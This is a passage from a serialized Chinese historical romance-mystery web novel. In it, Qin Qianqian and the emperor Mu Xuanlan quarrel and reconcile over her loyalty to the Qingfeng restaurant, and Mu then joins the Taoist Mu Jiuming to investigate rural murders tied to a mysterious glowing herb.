“可是你要告诉他，不然他只会在彷徨中受伤，说出来，你们两个一定会有办法去面对，他也能知道你的心意。”
话是这么说，魏凌鸣自己的鼻尖也有些酸涩。要按这个说法，自己也应该告诉千千，自己并未忘了她。刚刚他沉默的那段时间，便是想把此情此刻铭记于心底，永生不忘。
可最后他还是没有说出口，说出来只是给千千徒增烦恼罢了。
可想想自己还道貌岸然地教她大道理，魏凌鸣无语到有些想笑。世间之事果真如此，都逃不开，当局者迷，旁观者清八个大字。
听了他的话后，秦千千深吸两口气，嗓子都有些喑哑了。
“也就是刚刚，我才发现这种默不作声伤了他太深，你说的对，我应该要告诉他的。”
秦千千用力眨眨眼睛，把即将夺眶而出的眼泪收回，她想问题一向很快。就在这几个瞬间，她已经完全想明白了。
世间之事就要有舍有得，自己不能太贪心。
尽心尽力效忠清风酒楼和全心全意陪伴穆轩岚，终究是冲突的。而其中的取舍，秦千千也早已想明白了。
“所以到时一定要邀我进京……”魏凌鸣的话还没有说完，却发觉倚在自己怀中的人在小幅度摇头。
“不，我要跟他说清楚的是，我要全心全力的效力于清风酒楼。”秦千千仰头看着魏凌鸣，眼神相当坚定。
可那眼神看得魏凌鸣突然失语，虽说自己跟穆轩岚是情场和疆场上的对手，可这一刻，魏凌鸣却突然非常心疼他。
这对穆轩岚来说，无疑是个晴天霹雳。
可魏凌鸣也知道，这是秦千千能做出来的事情。
她这个人很轴，确定了目标，无论如何都要做到。魏凌鸣只是没想到，效力于清风酒楼，居然能让她放弃如此刻骨铭心的感情。他想不到，秦千千跟清风酒楼的老板，究竟有什么渊源？
“可你这会让他很伤心，你真的要这么说吗？”魏凌鸣还想再挣扎一下，此时的她是真的为穆轩岚和秦千千着想。
魏凌鸣觉得她没有看懂她自己的心意，而她错误的选择，也会让穆轩岚跟着心碎。魏凌鸣不想看到两个有情人，却因为这种事情分道扬镳。
于是，他只能劝千千再三思一下。
秦千千纠结着低头思考，她的两手也紧攥膝前的长裙，还时不时长叹一口气。
穆轩岚向来是不愿让她忧愁的，可是现在，他却一句话也说不了。
一是他在这里偷听，二是他现在心痛到难以呼吸，哪怕开口也只会字不成句。
他在漆黑一片的阁楼上凭栏而望，缓缓闭上了眼睛，眉眼也痛苦的皱在一起。
元德不敢说话，但万籁俱寂的时刻，让他仿佛听到了穆轩岚心碎的声音。
穆轩岚什么都没说，他还是看不得千千那般纠结，便转身离开。刚走两步，他微微偏头叮嘱元德。
“撤了四周的暗卫吧，接下来的事我会亲自跟她谈。”
元
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德心中一紧，总觉得今天晚上要有大变故发生。
秦千千是什么人元德清楚，她决定的事情谁也改变不了。当年她假死三年，穆轩岚和她自己都遭受了巨大的折磨，可秦千千还是咬着牙坚持实行那个计划。
而现在，哪怕秦千千还在花园中纠结，可她其实已经说明了自己的想法。元德想，今天两个人聊此事一定会爆发争执的。
那争执只有一个结果——两败俱伤。
在秦千千和魏凌鸣分别前，魏凌鸣最后叮嘱她一句话，这也是他今夜三番四次说过的话。
“我尊重你的选择，可你要提前想好，这说法带来的代价。”魏凌鸣已经能想象到，她们两个谈论这件事情时，两个人都会有多痛苦……
可长痛不如短痛，或许疼痛才能让她们看清彼此的心意吧。
言尽于此，魏凌鸣也不再多说什么了，秦千千也只沉默点头。
“明日我会呈上归降书，做南梁朝的附属国也好，盟友也罢，全凭皇上定夺吧。”
秦千千脸上挤出一抹笑意，今夜也不算白来，最起码还办成了一件事情。
往常，宫中的宫女侍卫都三步一个，五步一个的，今夜秦千千去找穆轩岚的时候，却发觉这一路上并没有几个侍从。
不只侍从，往常戒备森严的暗卫也少了许多。
临进门前，才看到从远处匆匆赶来的元德，秦千千一脸好奇地问他去哪里了。平日元德总是寸步不离的守着穆轩岚，因此现在才让秦千千很是好奇。
元德立马小声跟她解释：“陛下吩咐让我们今夜早早休息，我走的晚，但想着还是跟你打声招呼再走。”
秦千千早已调整好了心情，她眉眼舒展地点头，看起来心情不错。
“知道了，你走吧。”
她只当这是，穆轩岚邀请她共赴一夜疯狂的暗示，往常这时候他们也会屏退宫女侍卫的。
可今日元德的行为却很奇怪，他并没有转身立马离开，而是在原地踌躇犹豫着什么？
她抬手拍了下元德的胳膊，把人拉往远处拉一点，悄悄问他到底发生什么事了？元德一脸难以言说，纠结半天，他最终还是闭上嘴摇了摇头。
他选择相信秦千千，相信她可以把殿下哄好。
问了半天没问出一个字儿来，秦千千颇感失望地摆手让他离开。自己则是步伐轻盈推开殿门，叫嚷着让穆轩岚赔她十两银子。
“今夜我的劝说可是成功了，陛下，快些兑现我们的承诺。”
秦千千如往常一般，开门就跑向右手二进深的厅中的桌案，这时才发觉穆轩岚不在这里。
她有些迷茫地转身才看到，穆轩岚端正地坐在离自己五个厅室的龙椅上。他眸色冷峻，表情也十分严肃，秦千千几乎没见过他这副严阵以待的样子。
她快走到穆轩岚面前，噗通一声跪在地上，毕恭毕敬的给他行了个礼。
“陛下万福，所以可以给我奖励了吗？”
秦千千笑得开心，她想今夜的穆轩岚一定是熬糊涂了，往常他从未让自己跪过，总是在自己下跪前拉住自己，今天他竟然没来得及。
184. 两人的第一次争吵
穆轩岚心中有燎原的怒火，可不妨碍他依旧如往常般伸手，拉起秦千千让她坐在自己的腿上。
就是与他四目相对时，秦千千才发觉，往常那宠溺的眼神中多了一丝冷淡。秦千千只当他是在吃魏凌鸣的醋，便笑着揽上他的脖子，让他快些愿赌服输。
“银子早已备好，不过你回答我一个问题，我再给你。”
往常穆轩岚与她说笑惯了，以至于秦千千没有第一时间察觉，比起往常玩笑时的话语，穆轩岚现在的语气很是强硬，他没有给秦千千拒绝的余地。
“你说。”秦千千还洋洋自得地挑了下眉，甚至还晃了晃悬在空中的脚。
“我要你放弃清风酒楼老板的身份，做我的皇后，你同意吗？”
秦千千有些惊讶的愣住，她荡在空中的脚，也停在空中。
两秒后，她恍然大悟地笑出声：“你这十两银子的代价太大了啊！”
穆轩岚骤然收紧环在她腰际的手，目光灼灼地看着她，一字一句地表明自己的态度。他承认，自己从来没有像现在这般向秦千千施压过。
可事到如今，他别无办法。
“我没有跟你开玩笑，清风酒楼和我，你只能选一个。”穆轩岚盯着秦千千，不愿错过她脸上的每一秒表情，“无关赌注，我要听你心中真实的想法。”
同床而卧几年，穆轩岚早就把秦千千看的一清二楚。她真正不知所措时，会避免与任何人对视，只暗自垂眸，在眼底酝酿着对策。
现如今的秦千千，正是如此。她悄悄把目光从穆轩岚脸上慢慢下移，有些无措的盯着他的胸口。
穆轩岚右手直接抬起她的下巴，强迫她与自己对视。他不要千千权衡利弊，他只想要千千的真实想法。
果然，现如今她的眼中满是惊慌和无措，看的穆轩岚甚是心疼。他心中暗自揣测，是不是自己掐痛了千千？可说出口的话，却不敢透露自己的一丝心软。
“不能回答吗？那我替你回答，你要为了清风酒楼抛弃我，这是你刚刚说的话。”
穆轩岚觉得心口痛到无法呼吸，怒火随着这句话越燃越盛，以至于最后几个字，都是他咬牙切齿挤出来的。
秦千千收回环在他脖颈上的双手，左手抚上他的胸膛，感受着那起伏剧烈的胸膛中满盛的怒火。她的心也跟着好痛，秦千千的呼吸也不由得加快了。
“如果我说我这么做是因为爱你，你会相信我吗？”往常她骄傲又灵动的眼神中，现在满是乞怜。
她在求自己相信，穆轩岚呼吸一滞，松开了钳住她下巴的手。
平素千千皱皱眉，他都要跟着心慌，现在看着她如此可怜巴巴的样子。穆轩岚真的很想告诉她，什么都不重要了。
可他张张嘴却什么都说不出来，此时的他也很委屈，几年的感情，难不成终究比不过让她日夜操劳，又钉死在京都的清风酒楼吗？
是的，穆轩岚还是无法接受，千千有为清风酒楼抛弃自己的念头。这让他抓狂，甚至想再度抄了清风酒楼……
穆轩岚知道自己不该说下去，可他忍了这么久，现在只想不管不顾的把心中的话说出来。
在等千千回来的这段时间，他有反思，是不是自己这些年太沉默寡言，以至于千千不知道，自己对她是有多强的占有欲，以及自己是有多离不开她。
“可你更爱你的清风酒楼。”
穆轩岚知道自己说了这话一定会后悔，可是他眼前顾不了那么多了，这话不说，便永远横亘在他和千千之间。
穆轩岚此时想起，他母后当初跟他说过的话。
当得知两个人浓情蜜意，几年也没有一次争吵后，他母后便跟穆轩岚说过，那一定是你们在互相忍让对方，终有一天这个平衡会被打破，希望那时的穆轩岚，要懂得三思而后行这句话。
现在想起母后的话，但穆轩岚却觉得自己做不到三思而后行，很多事情他想明白了，可他就是要去做。
眼下也是如此，他知道逼问千千的最终结果，很有可能是她坦白心意，为了清风酒楼跟自己划清界限。
可穆轩岚觉得自己再也等不下去了，他就要把话挑明。用逼问也好，用恐吓也罢，他不允许千千再逃避，也彻底切断了自己的退路。
秦千千张了张嘴，想要为自己辩驳什么，穆轩岚也希望她说些什么，可她最终还是没有说出一句话。
穆轩岚的眼神越发幽暗，他觉得胸腔中的怒火，弥漫到了自己的四肢。
他手上的动作越发用力，终于到千千受不了的时候，她皱眉吸气。在她皱眉的一瞬间，穆轩岚凑近吻上了她的唇，秦千千闭上了眼睛。
以往的柔情蜜意全都荡然无存，她知道，穆轩岚这是在报复。
报复自己的不作为，报复自己竟然如此对他……
她无法为自己辩驳什么，可顺着眼角滑落的泪，昭示着她现在内心也十分煎熬。
穆轩岚看着她默默流泪，他的眼眶也跟着湿润了，自己不该这么欺负千千的。
可只有这样才能告诉她，自己也受了很大的煎熬。他不想再忍了，想把心中的痛楚都告诉千千。
如果是因为自己之前少言寡语，让她觉得自己不依赖她的话，那穆轩岚决定一改往日做派，他要把自己的心意通通表现出来。
只要她看清，就舍不得离开自己了。
血液的腥甜在两个人唇齿间弥散开来，秦千千突然睁眼，她泪眼婆娑地看向穆轩岚，这才发觉他的双目通红，俨然也是委屈极了。
秦千千推拒着他的肩膀，想拉开距离，帮穆轩岚查看他口中的伤势，但秦千千的力度，在穆轩岚面前根本不够看。
穆轩岚察觉她在后退，便眼神固执地望着她，右手扣住她脑后，再度加深了这个吻。
秦千千急的不行，眼泪也在眼眶打转，口中的呼吸也被剥夺殆尽，穆轩岚把控好时机，跟她分开时，秦千千来不及问他的情况，只能大口呼吸。
稍稍缓过来后，她便急切地捧着穆轩岚的脸，问他怎么样？
“你实在气不过，你可以咬我，不要这么伤害自己。”秦千千扳着他的下巴，想看他的伤势，
结果穆轩岚却相当不配
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合，他抿紧嘴唇，只死死盯着她。
秦千千无法，只能先跟他道歉，并跟他表白了自己心中真正的想法。
“你话只听了一半，前面我的确说要为了清风酒楼放弃你，那是我假死前的做法。你也知道当时我们经历了什么，时隔几年，我怎么可能再度以这种方式，惩罚我，也惩罚你呢？”
听她这么说，穆轩岚不可思议地追问她，那刚刚为何要这么说？
“因为我的真正心意，不该跟他说。你放心，我想通了，要找到主人，问她我何时能与你完婚。”
大悲后的大喜，让穆轩岚彻底昏了头，他大口大口地喘着气，尽量让自己平静下来。可心底的澎湃，还是让他完全无法冷静下来。
欣喜之下，便把自己的心事也告诉了千千。
“我本来还想说，你若再不同意，我就要派人再找你主人。找到她要问她两件事情，一就是我与你的婚事，二就是……”
说到这里，他突然察觉到言多必失，便突然噤声。秦千千稍稍歪头，当着面揶揄他。
“我可是把心里话都告诉你了，陛下还准备瞒我什么？”
想到刚刚穆轩岚真的把自己吓坏了，秦千千便左手攥拳，在他胸口捶了一下。对于穆轩岚来说，不痛不痒，甚至打的他心头暖暖的。
“我还是想，帮牧九明问问那仙草的事情。”
秦千千的目光一下子警觉起来，“皇上，难不成你也想求长生？”
上个皇帝求长生，闹出来多少事情，秦千千现在想来还心有余悸。再听穆轩岚这么问，她简直把心提到了嗓子眼。
看她一脸被吓到的样子，穆轩岚便赶忙把她拥在怀里，轻声安抚。
“想什么呢，我只想有确切的证据，去给牧九明看，让他别下半辈子都痴迷在这里。怎么说，他也是我自小一同长大的玩伴，我不想看着他如此魔怔下去。”
听他这么说，秦千千才真真正正喘了一大口气。
“这事我可管不了，光问婚期这件事情，我已经用尽最大的勇气了。”
穆轩岚低头跟她额头抵额头，鼻尖蹭鼻尖，他现在彻底放松下来，眉眼间都是笑意。
“当然，比起朕的婚姻大事，还是让他魔怔着吧。”
心头大患彻底解决，穆轩岚现在整个人都欢快了起来，他抱着千千回宫的时候，路上却被她细数各条罪状。
穆轩岚一一应承下来，并表示会用一辈子补偿她的。
直至深夜，秦千千已经累得睡过一觉了，结果她再度清醒时，穆轩岚依旧目光灼灼地看着她。
秦千千颇感好笑，“现在你就这样了，那新婚之夜，你岂不是要彻夜难眠？”
听着她这话，穆轩岚心情更是愉悦。在夜幕的笼罩下，他的言辞也更是大胆了起来。
“彻夜难眠？那是彻夜欢愉吧。”
秦千千看着黑暗中的流氓，一个鲤鱼打挺转身背对着他，穆轩岚顺势把人搂在怀中。怀中是他的心有所属，他的心中自然畅快不已。
“我的陛下，乐够了就早点睡觉吧啊！”
185. 道长何时开始探案了？
一别两年，穆轩岚从未想过，自己会收到牧九明的信。因此在收到他的信时，穆轩岚还是十分惊讶的。
他是早朝时收到的信，打开看里面讲的也就是牧九明在外的见闻，以及他近期跟的一桩案子，说是什么谋杀案。
殿中的大臣在汇报别的事情，穆轩岚看了一眼牧九明的信，便放在了一旁。这种闲言琐事，他晚点再看也不迟，总归没什么重要的。
等他下了朝，再仔细拿着那封信读的时候，却发现牧九明的字里行间都在说，他现在跟进的事情很重要，而这封信也是他再三思索后决定送回来的。
穆轩岚不知道，让他如临大敌的原因是什么，便找来元德问牧九明现在在哪？
这两年穆轩岚不知道牧九明在哪，可按暗卫清楚，甚至连牧九明在干什么，元德和暗卫都一清二楚。
穆轩岚不知道，是因为他不想问，可现在他又看到牧九明如此神经兮兮的样子，便准备多关心一些自己的老友。
“道长，他近期其实就在京都附近。最近他在紧紧盯着的那桩杀人案，其实就在京都不出百里外的一个荒村。”
得到了穆轩岚的首肯，元德这才开始继续往下讲。
听说，是一个寻常农户惨死，但是那前不着村、后不着店的荒野，过了十几天才有人发现此事。
可奇怪的是，那户人家的邻居也不知道去哪，邻居家甚至连房子都拆了，一点痕迹都不剩。
现在最有可能的，就是邻居杀了那户农夫，只可惜邻居销声匿迹，谁也不知道，邻居姓甚名谁，长什么样子，又去了哪里。
听着甚是无聊的案子，穆轩岚眉头微皱。
“他一个道长，怎么还开始探案了？还是这种无趣的案子。”
元德最开始也以为这个案子很无聊，可手下暗卫有次禀报了牧九明在荒山行走之际喃喃自语的话，自那以后，元德便格外上心此事。
“陛下，那时道长说，这个邻居消失，与两年前在卖仙草的那个农户被杀后消失，处理手法一模一样。”
提起这个，穆轩岚倒是来了兴致，他朝元德抬手，元德知道要最近暗卫上报此事的记录。
元德早早就准备好了，甚至还把两年前的农户消失的案子详情，也准备了一份，一同呈报给穆轩岚。
不出一个时辰，穆轩岚便把两个案子全部看了一遍。此时他才了然，也不怪牧九明疑神疑鬼，这两个案子的确有很多相似的地方。
最起码，那能够抹除所有存在痕迹的诡异处理手法，便是世间罕有的。更别说，两个尸体上都有大小不一的淤痕。
第一个农户死时，那淤痕便被仵作认为是从山坡滚落时，被不同的石块撞击所形成的；可两年后的今日，又出现了这种情况，那就证明此事，绝不是一句巧合就能解释的。
眼看穆轩岚，看案子入了迷，元德便适时提醒他，今天中午还要去清风酒楼吃饭。
穆轩岚让他把两桩案子收起来，正要换上常服，去清风酒楼赴宴。
结果，外面传来一个急报。
“陛下，牧道长，请您去那里一趟。他说此事万分紧急，让您快马加鞭，立马赶过去。”说着，他还呈上一份密报。
看到那红色的信封时，穆轩岚的心中一紧，不到万分紧急的情况，牧九明是不会用红色信封的。这是他们约定俗成的暗号。
穆轩岚眼神一暗，叮嘱元德去跟秦千千交代。
“就是我今天事务繁忙，就先不过去了。”
至于他要不要去牧九明那里，还要看这封密保中究竟说的是什么事情。不过看信前，穆轩岚的心中已经有了计较。
能让牧九明紧张的，也就只有那云岫山的事情。而当初仙草已与云岫山有千丝万缕的关系，难不成……
信中所说之事果然如此，牧九明也在信中承认，当初离京那么匆忙，并非是他所愿。那是有人追杀他，而且他逃亡途中也遇到了奇闻戏班的人。
那其实是被杀的只剩寥寥无几、尚且存活的戏班之人。牧九明之所以认识，是因为当初他在典拍现场见到过那人，他就是当初在台上介绍各种典拍物件的那个仆役。
其实原本仆役是什么都不说的，但牧九明也是个练家子，虽然不如穆轩岚那般武功独步天下，但要挟个小喽啰还是轻轻松松的。
他把人打了个半死，最终才问出些东西来。
【他说，做那桩生意是戏班中的人最后悔的一件事情，也让整个戏班都跟着覆灭，能逃生的人屈指可数。几乎所有人，全死在了那次旷日持久的追杀中……】
那神秘组织的杀手，穆轩岚有听元德汇报过。若不是暗卫在三番五次的帮助牧九明逃跑，那他就是有十条命也不够死的。
一个穆轩岚不愿承认，但也不得不面对的事实就出现了：这世间恐怕只有一个组织，能做到如此赶尽杀绝——芳草阁。
穆轩岚闭眼沉思，这几年他再没跟姜千秋打过交道。可当年那场巨大的祸乱，把他和千千裹挟其中，让她们互相疗愈了几年才从那阴影中走出来。
但本该是风暴中心的姜千秋，却全身而退了。
是的。她毫发无伤的隐匿人间，就如同她往常所做的那样。
事到如今，穆轩岚也懂了，为什么牧九明不让自己把与他有联系之事告诉千千。因为，那相当于把牧九明，暴露在杀手眼皮子底下。
可穆轩岚心中还是觉得，千千并不知道此事，至于姜千秋是否真的无辜，那也尚未可知。
牧九明的信中言之凿凿，似乎真的有什么证据……
看来，自己还是要去走一趟了。
好在元德刚刚并未离开，穆轩岚便叮嘱他自己快去快回，先不告诉千千，他要外出的事情。
其实，他也不是瞒着秦千千，而是要瞒着姜千秋。
元德得令离开后，穆轩岚也乔装打扮立即出发。
到达白云村的时候，已是傍晚。
得了暗卫通知的牧九明守在村口，接上穆轩岚，两个人没有寒暄，没有停留，直接去了村长家。
这白云村地方太偏，以至于出了命案，也没有把尸体送往三四十里外的衙门。
“哪怕送去，衙门也会草草结案。”牧九明简明扼要地跟穆轩岚解释。
一路
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快马加鞭赶过来的时候，穆轩岚也看到了，这里虽说离京都不远，但如此偏僻闭塞，便是因为这里全部都是崎岖山丘。而这白云村，更是偏僻中的偏僻。
穆轩岚对这个办事流程虽然不满意，但也没办法，总不可能每个山沟沟里都配一个衙门。
“你还是直接说你的发现吧。”穆轩岚直抒胸臆。
他知道，如果想躲避姜千秋的监视，那唯一的做法就是快，就是要打到她措手不及。
穆轩岚嘴上不说，但他心中已经把那个神秘组织，看作了姜千秋的爪牙。
而作为对她行事作派研究极深的人，穆轩岚心中升腾起久违的迫切与激动。做皇帝多年，他已经习惯什么事情都是水到渠成的，没有什么事情需要他急切想要达成的了。
眼前终于出现了这么一件事情，穆轩岚几乎按捺不住激动的心情。比起在乎此事的真假，穆轩岚觉得，自己更享受追逐真假的这个过程。
转眼，牧九明便带他到了村长家门口。村长二话不说，点起火把，带他们去后山。到了那里，穆轩岚才发现，三面环山的一小块空地上，他们用茅草搭了个简易凉棚。
牧九明和村长一人拿了个火把，一左一右掀开茅草门，穆轩岚进去后定睛一看才明白，他们是把那个尸体放在了这里。
“也算是天公作美，如果不是这里下了接近十天的雨，我也发现不了这个。”牧九明不再顾左右而言其他，直接抬手掀开了盖在尸体上的白布。
穆轩岚本想说这里灯光昏暗，也看不清什么细节，可当白布掀开后，他便知道，不需要什么灯光，眼前需要注意的东西，他看的一清二楚。
那尸体穿着麻布衣服，脸朝下，趴在那木头架子上。借着这个姿势，才能看清他左侧肩头，有一片闪着莹莹红光的东西。
穆轩岚走进查看才发现，那红光笼罩之下，是苔藓状的植物。他手抬到一半却停在那里，不用牧九明说，他也知道这是什么。
震惊，除了震惊还是震惊。
当初见到那所谓的仙草时，穆轩岚没有觉得什么，毕竟普天之下总有他没见过的东西。可现在，再度见到这东西，穆轩岚觉得犹如五雷轰顶。
世间怎么会有那么巧的事情？两年前这仙草现世时，发生的事情，现如今再度发生。而仙草，也再度出现……
牧九明给够了穆轩岚考虑的时间，他摆手让村长离开，等待良久后，才开口问穆轩岚。
“现在你总该信了吧，当初的事情真的有蹊跷。”牧九明走上前，用手捏掉一些那麻布上的苔藓，指尖的那一抹光辉很快便不见了。“这就是我让你来的原因。”
山高路远，这东西消散的又快，恐怕是没有运到京都就要不见了。可牧九明清楚，若是不让穆轩岚亲眼看到这个，他又是不会信的。
穆轩岚倏然抬眼，严肃的看向他，“所以，你有追查到什么线索吗？”
眼看自己说动了穆轩岚，牧九明心中的一块大石头也算放下。他长出一口气，点了点头。没有线索，他是不敢叫穆轩岚过来的。
“线索我这里倒是多，不过得请你帮我分析分析。”
186. 抽丝剥茧的探案
在得知这里的事情后，牧九明边走访了近二十里的所有农家，用钱也好，用花言巧语也罢，基本上得知了那个死者的生平。
“总的来说，他就是一个偷奸耍滑、手脚不干净的混子。正是因为他的作风不好，所以才居无定所，而被他赖上的人家也都不胜其烦。”
村长家的厢房还算宽敞，正经书案是没有的，有的只有一个四方的漆黑方桌。
牧九明把自己搜罗到的信息，全部放在那桌子上，方便穆轩岚查看，他则在一旁讲着自己听到的故事。
“这也就是为什么，附近都知道他定居在何处。而且大家都说，这混子的邻居家，一夫一妻，又生了一个小女孩，一家三口人很好，不然也不会跟着混子做邻居。”
穆轩岚从那些画像、地图以及事件记录中抬头，他指了指手中的那个肖像，“这就是那个混子的样貌？你亲自画的啊。”
牧九明打小就画的一手好画，这穆轩岚是知道的。他的笔锋凌厉，下笔干练，基本上寥寥数笔，便能勾勒出物态神韵。
只不过，后续他沉迷修道后，在琴棋书画上下的功夫便少了很多。因此，穆轩岚也很久没有看过他亲手所做的画像了。
“……这手艺搁置了那么些年，生疏了不少。”牧九明没想到他的关注点在这里，有些不好意思的谦虚道。
“不，照我看来，其实是精进了不少。或许，跟你这些年的沉淀有关系吧。”
若不是看见穆轩岚的表情，牧九明或许还以为，他真的在说自己私下练习的事情。
可一看穆轩岚那意有所指的眼神，牧九明便知道，他说的是桌上这些各式各样的画稿，自己近几年还真画了不少。
牧九明无奈地笑了笑，自己怎么忘记了？穆轩岚平时可最爱揶揄人了。
老友重逢，他又怎么会放过自己？
“匆匆赶来，我一日都未吃饭，先吃顿饭吧。”穆轩岚放下手中的纸张，起身跟牧九明提议。
真正着急让穆轩岚看的，他已经看过了，牧九明现在也放松了很多。
两个人吃着粗茶淡饭，聊着这两年的事情时，穆轩岚突然心中一紧，察觉到他突然的异样，牧九明便问他怎么了？
“无妨，估计是千千在念叨我。”穆轩岚有些欣慰地说道。
牧九明无奈地看了他一眼，这人真是……亏自己还想安慰他，属实没必要。
秦千千的确是在聊他，一天之中她第二次朝元德询问，却什么也没问出来。
她耸耸肩膀，无奈地叹了口气，难不成穆轩岚是在生气？毕竟自己昨天刚说了，两个人不要黏在一起，今日他就搞这出？
可是非因果，只能等穆轩岚回来后再揭晓了。
吃着吃着两个人还是聊起了眼下的事情，饭没吃完，两个人以无心吃饭，便专心讨论起这两件命案的共同之处。
“他们的用意自不必多说，肯定是不想让人发现，长出这些草的地方。按照你的那个说法，那地方只会是云岫山，对吗？”根据牧九明的线索，穆轩岚总结道。
牧九明听着这只触及皮毛的说法，便知道穆轩岚有所顾忌，他不方便说的话，那就由自己来说。
“你觉得这普天之下，还有哪个组织能做到消息如此灵通？奇闻酒楼那般有本事的团队，还是被他们多方追捕，直至片甲不留。”他轻叹一口气后继续说道，“我几乎可以拿项上人头担保，姜千秋，绝对是云岫山的人。”
之前先皇想要长生，第一个要找的人便是姜千秋。现在时光荏苒，他们最近又把事情绕到了姜千秋身上……
穆轩岚不想把话说死，涉及到秦千千的事情，他总是三思再三思。若姜千秋真是云岫山的人，那千千对此事是否知情？
如果千千对此并不知情，日后真相大白，那她和姜千秋又要如何相处呢？穆轩岚清楚，千千对姜千秋的依赖，一点都不比对自己少。
若是她主人的形象轰然倒塌，这恐怕对她是很大的冲击。
可若是千千知情，自己和千千以后又如何相处？他们的一切都建立在谎言之上吗？穆轩岚不敢细想这一点。
决定跟牧九明合力探案时，他万万没想到，此事会让自己如此踌躇不决。
不过事情似乎还有一线转机，也就是那神秘组织未必就是姜千秋的人，姜千秋也未必是云岫山的人。
穆轩岚只能暂且这么安慰自己，而且接下来的事情，他非查不可。装神弄鬼了那么些年的云岫山，他早晚都得查出真假来。
暗卫的行事速度，可比牧九明一个人走访快的多，而在穆轩岚的示意下，威逼利诱的问询方式，也能问出更多的内容。
之前牧九明没有画邻居一家的画像，是因为据说没人记得她们的长相。可在一番逼问下，终究还是给他们找到了更详细的信息。
那一家人，女人在家纺布，男的上山采药材售卖。日子虽然不是大富大贵，但也还过得去。
而且他们家有个约定俗成的规矩，每月初九去集市上卖东西，十三女人则要回娘家。那一日，她们家里一定只有男的和她家姑娘。
至于，女方家的娘家到底在何处？无人知晓。乡邻只知道，那一天她会不在家。
这也不是从一个人嘴里听说的，而是在各个邻居印象中拼凑出来的真相。而且在一位老头口中，更给他们知道了一件事情。
那死者原本试着跟过那女人，也不知是想劫财，还是想劫色。反正他尾随半路后，还被殴打要挟了一通，这才老实了那么一段时间。
穆轩岚正在看千千给自己写的信，他贸然离京几日，自然得跟千千联系一下。可听到这个事情后，他突然抬头，看着汇报的暗卫。
“此事定有蹊跷，寻常做农活的农妇，再怎么有力也不会能暴打那个膘肥体壮的人一顿吧？”
穆轩岚还记得那具尸体，那死者生前可能有两百斤，再加上那人整日不学无术，以靠行骗抢夺为主，他的体格还算健壮。
牧九明这才发现端倪，他几番思索也觉得不对劲，便继续往下追问，问那老头有没有说究竟是谁打的人。
“没有。那老头说，这件事情还是死者抢了他的酒，喝醉的时候吹牛告诉老头的，还说什
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么他早晚要再去一次。”
穆轩岚摆手让人退一下，房中只剩他和牧九明时，他转头看向牧九明。不言自明，他想听听牧九明的分析。
“这么诡异的行事作风……，难不成，那妇人其实每月十三去的不是娘家，而是云岫山？”
听他这么分析，其实也并不是毫无道理。只不过穆轩岚不喜欢这种约定俗成的偏见。
他们已经潜移默化地接受了云岫山存在的假设，而且用这个结果去反推所有的案件经过。
同理这种偏见，也显现在姜千秋身上。现在在两人看来，所有的诡计谋划，全都出自姜千秋。
这种偏见，对破案毫无益处。
“此事有待商榷。不过，我们可以确定的是，彻查周边的收药的药铺和收布料的铺子，总会有些发现的。“
又在这里待了两日后，暗卫更大规模的查探，也传来了消息。
那个常去卖药的男人，的确有很多药铺老板见过他。
可蹊跷在那个女人身上，大家从未见过她出门卖布，她家男人也从未出去卖过布。
他倒是时不时的就要去买很多布料，各式各样的，而且出手相当阔绰。
更诡异的是，据邻居所说，她们一家的吃穿用度，也都算中等。可单靠那男人采那些药去卖的话，远远支撑不了他们家现在的日子。
虽然不能排除，他们家本身就有钱的这个可能，但是穆轩岚却冒出一个让他后背发凉的猜测。
之前他一直疑惑，千千也一直疑惑的事情便是，姜千秋疯狂敛财，但她自己却深入简出，并未花费多少银两，可那些钱都去哪了？
若那户人家真跟姜千秋有关系，或许就能解答这个问题——姜千秋赚的钱，都用来贴补这些装成普通人的人了。
可她此举有什么目的，这些领了贴补的人，又在这荒山野岭做什么呢？
这个猜测过于大胆，穆轩岚暂时不想说给牧九明听。在他心中天人交战的时候，收到了千千再度寄来的信。
这次的信，是在下最后通牒，秦千千已经五日未见穆轩岚了，而且穆轩岚也并未告诉她，自己所在何处？所为何事。
再通情达理的人，也该有些不满了。
这几日在这里废寝忘食，穆轩岚憔悴了不少，他担心自己今日回去，免不了让千千为自己担心，便提笔书信，告知她自己明日再回。
“这里的事情暂且交给你吧，这儿的暗卫听你调遣，我离京五六日已经算是多的了。”
牧九明不是不通情达理的人。他自然知道，皇上能移驾到这儿，已经算是给他的最大面子了。
国事朝政，哪样缺了皇帝都不行。
可穆轩岚的下一句话，便让他扶额苦笑，为自己刚刚的想法懊悔。
“再不回去，千千是真的要生气了。”
是了……，在穆轩岚心中，国事朝政怎么会有秦千千重要呢？牧九明无奈点头。
为了让千千见到最精神的自己，今夜的穆轩岚早早睡下了；也为了早早见到千千，第二日的穆轩岚，天不亮便离开了这里。
187. 那就各有各的秘密吧
第二日快中午时，秦千千才收到暗卫送回来的信。
她知道以后，桑风雪、桃花花她们全都知道了。因为秦千千把信放在桌子上，让她们帮忙分析分析。
“你们说说，他这几人到底去哪里了？”
剩下几个人面面相觑，就差跟秦千千说：老大你别为难我们了。
“你都不知道的事情，让我们上哪知道去？”云彩一如既往的心直口快，后收获秦千千白眼一枚。
“唉……，罢了罢了，过两日我自己问他便是。”
秦千千摆手让她们离开，自己就不应该把她们喊上来，什么都帮不上忙就算了，还耽误她们在楼下干活的功夫。
桑风雪却不解地咂么着嘴，“过两日？他不是要尽快回来吗。”
秦千千清清嗓子，义正言辞地说道：“他回来，我不跟他生两天的气，我就不姓秦。”
其他的人这才恍然大悟，然后悻悻离开。
看来，接下来几天又是腥风血雨，她们还是赶紧顾好自身别出错，不然少不了被千千迁怒。
这几日没看到穆轩岚，秦千千的心情都格外暴躁。因此，这几日她们能躲，便躲着千千走。
几个人下楼之时还在窃窃私语，不管谁见了穆轩岚，都得赶紧让他把秦千千哄好。
她们说着注意些时，楼下便有一个熟悉的身影进了门。
冬芸激动的一拍手刚想说什么，穆轩岚却冲她摆了个噤声的手势。剩下的几个人循着方向望去，这才看到来人。
几人匆忙赶下去，跟穆轩岚打招呼。
“不用我们多嘱咐了吧，这两天她可是气坏了。”桑风雪说话言简意赅，临了还不忘再补充一句，“下次去哪儿，跟她说清楚吧，她的身体还真经不起气。”
穆轩岚点头，“以后都不会了。”说罢，便起身往楼上走，他三步并做两步，哪怕秦千千住在五楼，在他看来也是没几步的事儿。
没成想，第一次推门竟然没推开……
“咚咚咚。”穆轩岚知道她心中有气，便耐心敲门。“千千，是我。”
听着原本走到一半的脚步声戛然而止，穆轩岚有些不解地歪了下头。
奈何她房间的窗纸，薄却很能遮物，他什么也看不见。
“哦，皇帝陛下现在终于有空了？”听着她的声音，穆轩岚都能想象她被气到皱眉的样子。
